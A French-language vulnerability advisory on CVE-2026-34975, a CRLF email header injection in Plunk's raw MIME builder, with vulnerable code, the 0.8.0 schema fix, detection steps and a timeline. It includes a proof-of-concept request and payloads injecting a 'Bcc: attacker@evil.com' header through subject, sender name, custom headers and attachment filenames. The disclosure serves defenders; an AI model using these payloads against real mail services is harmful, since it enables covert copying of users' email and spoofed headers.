CVE-2026-34975
CVSS 8.5 · Élevée CorrigéCVE-2026-34975 : injection d’en-têtes e-mail dans Plunk via la construction MIME brute de SESService
Plunk recopiait nom d’expéditeur, sujet, en-têtes personnalisés et noms de pièces jointes dans le MIME brut sans filtrer les retours à la ligne.
Pour décider
- Impact
- Les champs d’un email peuvent modifier ses en-têtes ou sa structure MIME lors de l’envoi.
- Conditions
- L’appelant doit disposer d’une clé API de projet et contrôler les champs concernés de la requête d’envoi.
- Action recommandée
- Installer Plunk 0.8.0 ou ultérieur et vérifier les intégrations qui construisent les emails.
Fiche de l’avis
Synthèse de l’enquête
Plunk construisait le message MIME brut transmis à Amazon SES en interpolant from.name, le sujet, les clés et valeurs des en-têtes personnalisés et les noms de pièces jointes dans un template. Aucun de ces champs ne refusait les retours à la ligne : tout détenteur d’une clé d’API de projet pouvait ajouter les en-têtes de son choix ou remodeler les parties MIME des e-mails envoyés via POST /v1/send. Corrigé en 0.8.0 par une validation de schéma.
Le saut de ligne entre l’API et SES
Nous revoyions des plateformes d’envoi qui construisent elles-mêmes un message MIME avant de l’envoyer à Amazon SES. Chez Plunk, nous avons suivi les champs de POST /v1/send jusqu’à SESService.ts : le sujet, le nom de l’expéditeur, des en-têtes et des noms de pièces jointes entraient dans le message brut. Le schéma Zod limitait leur longueur mais, contrairement à un champ voisin, n’écartait pas \r et \n. Le contrôle décisif était de comparer la validation à la position exacte où chaque valeur était écrite.
Nous avons préparé une requête témoin avec un sujet contenant un retour de ligne et un champ Bcc:. Dans le message brut que construit le code, celui-ci devient un nouvel en-tête, hors du sujet ; la preuve n’exigeait pas de prétendre qu’Amazon SES acceptait n’importe quel expéditeur. Nous avons signalé le cas le 29 mars 2026. Plunk a ajouté la validation CRLF dans 0.8.0, sortie le 31 mars avec l’avis CVE-2026-34975. Une piste distincte sur attachments[].contentType reste une question à examiner, pas un contournement démontré de ce correctif.
L’endroit où Plunk écrit les octets MIME
Plunk accepte les messages via POST /v1/send avec une clé de projet, puis construit le MIME brut transmis à Amazon SES. À cet endroit, un saut de ligne dans un champ de l’API peut devenir un nouvel en-tête.
Pour gérer les pièces jointes, les images intégrées et les en-têtes personnalisés, Plunk n’utilise pas l’API structurée de SES. Il assemble lui-même le message MIME complet et l’envoie avec SendRawEmail. Ce choix fait porter au code de Plunk toute la responsabilité du format du message : SES reçoit des octets et traite la section d’en-têtes exactement telle qu’elle est écrite.
Comparer les champs interpolés à leur validation
Dans apps/api/src/services/SESService.ts, quatre entrées étaient interpolées directement : le nom de l’expéditeur, le sujet, les en-têtes personnalisés et les noms de pièces jointes. La seconde vérification portait sur la couche de validation. Le schéma Zod de l’action d’envoi, dans packages/shared/src/schemas/index.ts, limitait les longueurs mais n’avait aucun .regex() ni .refine() refusant \r ou \n sur ces champs, alors que le champ voisin contentId en avait déjà un. Les entrées allaient donc du corps JSON au message brut sans aucun filtre.
Cause racine
La fonction vulnérable, sendRawEmail() en version 0.7.1, construit le haut du message en un seul template literal :
// apps/api/src/services/SESService.ts (0.7.1)
let rawMessage = `From: ${from.name} <${from.email}>
To: ${toHeader}
Reply-To: ${reply || from.email}
Subject: ${content.subject}
MIME-Version: 1.0
Content-Type: ${rootContentType}
${
headers
? Object.entries(headers)
.map(([key, value]) => `${key}: ${value}`)
.join('\n')
: ''
}
${unsubscribeHeader}
`;
Chaque partie de pièce jointe est écrite de la même façon, avec Content-Disposition: attachment; filename="${attachment.filename}". Le schéma acceptait n’importe quel caractère dans ces valeurs :
// packages/shared/src/schemas/index.ts (0.7.1), action send
subject: z.string().min(1).max(998).optional(),
name: z.string().optional(), // from.name
headers: z.record(z.string().max(998)).optional(),
filename: z.string().min(1).max(255),
L’enjeu tient à la RFC 5322. Un message est une section d’en-têtes, puis une ligne vide, puis le corps. Chaque champ d’en-tête est un nom, deux-points et une valeur, terminé par un retour à la ligne. Un retour à la ligne suivi d’une espace ou d’une tabulation est un pliage (folding) : la ligne suivante prolonge le même champ. Un retour à la ligne suivi de tout autre caractère ouvre un nouveau champ, et la première ligne vide clôt la section d’en-têtes. La norme impose CRLF, mais le template de Plunk sépare lui-même les lignes par un LF seul et ses messages sont bien distribués : un simple \n dans une valeur suffit donc, et \r\n fonctionne aussi. Un sujet égal à Hello\nBcc: attacker@example.net est ainsi lu par n’importe quel analyseur MIME comme deux champs, Subject: Hello et Bcc: attacker@example.net. Il s’agit de CWE-93, neutralisation incorrecte des séquences CRLF.
Exploitation
L’attaquant envoie une requête ordinaire avec une clé secrète de projet et un expéditeur vérifié :
POST /v1/send HTTP/1.1
Host: api.plunk.example
Authorization: Bearer sk_...
Content-Type: application/json
{
"to": "recipient@example.com",
"subject": "Legit Subject\r\nBcc: attacker@evil.com",
"body": "<p>Hello, this is a test email.</p>",
"from": "verified@yourdomain.com"
}
La section d’en-têtes que Plunk transmet à SES contient alors un champ supplémentaire :
From: Example App <verified@yourdomain.com>
To: recipient@example.com
Reply-To: verified@yourdomain.com
Subject: Legit Subject
Bcc: attacker@evil.com
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_AltPart_..."
La preuve de concept publique couvre les quatre vecteurs : from.name ("Legit Sender\r\nBcc: attacker@evil.com"), subject, une valeur d’en-tête personnalisé ({"X-Custom": "value\r\nBcc: attacker@evil.com"}), et un nom de pièce jointe qui referme le paramètre entre guillemets, ajoute une ligne Content-Type: text/html et une ligne vide, puis écrit son propre contenu dans la partie.
Deux détails de l’appel SES déterminent l’effet de chaque vecteur. D’abord, Plunk passe explicitement Destinations, construit à partir de l’adresse de destinataire validée, et AWS documente que les paramètres Source et Destinations définissent l’expéditeur et les destinataires de l’enveloppe. Une ligne Bcc injectée est donc un en-tête dans le contenu ; le write-up et l’avis indiquent que SES en livre une copie, ce que cet article n’a pas pu confirmer sur un compte SES réel. Ensuite, from.name est aussi recopié dans le paramètre Source (${from.name} <${from.email}>) : un retour à la ligne y atteint donc aussi le champ d’enveloppe de l’API, alors que subject, les valeurs d’en-têtes personnalisés et les noms de fichiers ne touchent que le contenu du message.
Impact
L’éditeur note le défaut 8,5 : accès réseau, privilège faible (une clé d’API de projet et un domaine d’expédition vérifié), aucune interaction utilisateur, et un changement de portée parce que l’effet se produit dans les systèmes de messagerie des destinataires, hors de Plunk. La confidentialité est notée haute au titre des copies silencieuses du courrier sortant, l’intégrité basse.
L’injection donne la main sur des champs d’en-tête et une structure MIME que Plunk entend maîtriser : champs From, Reply-To ou Subject en double à côté de ceux qu’écrit Plunk, que les clients de messagerie départagent chacun à leur manière ; champs supplémentaires comme Bcc ou Sender ; fin anticipée de la section d’en-têtes ; parties dont le type et le contenu ne correspondent plus à ce que l’API devait envoyer. Rapporté aux droits normaux d’un détenteur de clé, le gain est plus limité qu’il n’y paraît, puisque l’API d’envoi laisse déjà l’appelant choisir le sujet, le corps, le destinataire et des noms d’en-têtes personnalisés arbitraires. Le cas où le défaut compte le plus est celui d’une application qui transmet à Plunk des saisies de ses propres utilisateurs, par exemple un nom affiché utilisé comme from.name ou un sujet tapé dans un formulaire. La personne qui contrôle le retour à la ligne n’est alors pas le détenteur de la clé, et l’API était l’endroit naturel pour l’arrêter.
Correctif
Plunk 0.8.0 corrige les champs signalés dans le commit b50b5af, le commit de cet intervalle qui modifie le schéma d’envoi. La validation est ajoutée pour ces champs au schéma d’envoi. Cela ne démontre pas que tous les champs MIME sont protégés :
// packages/shared/src/schemas/index.ts (0.8.0), action send
subject: z.string().min(1).max(998).regex(/^[^\r\n]*$/, 'Subject contains invalid characters').optional(),
...
name: z.string().regex(/^[^\r\n]*$/, 'Name contains invalid characters').optional(),
...
headers: z
.record(
z.string().regex(/^[^\r\n]+$/, 'Header key contains invalid characters'),
z.string().max(998).regex(/^[^\r\n]*$/, 'Header value contains invalid characters'),
)
.optional(),
...
filename: z.string().min(1).max(255).regex(/^[^\r\n"]+$/, 'Filename contains invalid characters'),
Sans le drapeau m, ^ et $ s’ancrent sur la chaîne entière : les motifs refusent tout CR ou LF où qu’il se trouve dans la valeur. Le motif du nom de fichier refuse aussi le guillemet double, ce qui ferme l’injection à l’intérieur du paramètre filename entre guillemets. SESService.ts reste inchangé et interpole toujours les valeurs, ce qui fait dépendre la protection du passage de chaque appelant par ce schéma.
Un champ a été oublié. attachments[].contentType n’est toujours contrôlé qu’en longueur et il est écrit tel quel dans la ligne Content-Type: de la partie ; c’est le cas en v0.8.0 et encore en v0.16.0, la dernière version examinée. Il se trouve à l’intérieur d’une partie de pièce jointe et ne peut donc pas ajouter d’en-têtes de premier niveau, et semble laisser une surface d’injection dans la partie MIME. Nous n’avons pas établi un impact supplémentaire sur un message délivré pour ce champ ; il reste donc une piste distincte, pas un contournement confirmé.
Détection et mitigation
- Mettre à jour Plunk vers la 0.8.0 ou une version ultérieure, images auto-hébergées comprises.
- Dans les applications qui appellent Plunk, supprimer ou refuser CR et LF dans toute valeur issue des utilisateurs finaux avant qu’elle n’atteigne
from.name,subject,headers, ou lefilenameet lecontentTyped’une pièce jointe. - Renouveler les clés secrètes de projet susceptibles d’avoir été exposées dans du code côté client ou dans des dépôts, puisque chaque vecteur en exige une.
- Rechercher les champs injectés dans les e-mails enregistrés : dans la base de Plunk, les sujets, noms d’expéditeur ou valeurs d’en-têtes contenant
\nou\r, et, au niveau d’un reverse proxy qui conserve les corps de requête, les appels à/v1/sendcontenant\r\nou\nsuivi d’un nom d’en-tête commeBcc:,Reply-To:ouContent-Type:. - Si la publication d’événements SES est activée, comparer les destinataires et les en-têtes des messages envoyés avec ce que l’application a demandé, et alerter sur tout
Bccinattendu ou sur des champsFrometReply-Toen double.
Chronologie
| Date | Événement |
|---|---|
| 10/03/2026 | Publication de Plunk 0.7.1, dernière version affectée |
| 29/03/2026 | Signalement privé aux mainteneurs via un avis de sécurité GitHub |
| 31/03/2026 | Validation CRLF intégrée au schéma d’envoi (b50b5af) |
| 31/03/2026 | Publication de Plunk 0.8.0 |
| 31/03/2026 | Publication de l’avis GHSA-2mvm-rg5v-7hfq, attribution de CVE-2026-34975 |
Références
- Avis de l’éditeur · CVE-2026-34975 github.com/useplunk/plunk/security/advisories/GHSA-2mvm-rg5v-7hfq
- Fiche NVD · CVE-2026-34975 nvd.nist.gov/vuln/detail/CVE-2026-34975
- Fiche CVE.org · CVE-2026-34975 www.cve.org/CVERecord?id=CVE-2026-34975
- MITRE CWE-93 cwe.mitre.org/data/definitions/93.html
- Dépôt du projet github.com/useplunk/plunk
- Preuve de concept et notes de reproduction github.com/romain-deperne/CVE-2026-34975
Citer cet avis
rootzero. « CVE-2026-34975 : injection d’en-têtes e-mail dans Plunk via la construction MIME brute de SESService ». Recherche de vulnérabilités, rootzero, 31 mars 2026. https://rootzero.eu/research/cve/cve-2026-34975-plunk-email-header-injection/
#Recherche de vulnérabilités
Faites auditer votre code avant qu’un autre ne le fasse.
Votre équipe doit décider quoi corriger avant une livraison ou évaluer une dépendance critique. Nous définissons une mission autour de cette décision, avec des preuves et des priorités de correction expliquées.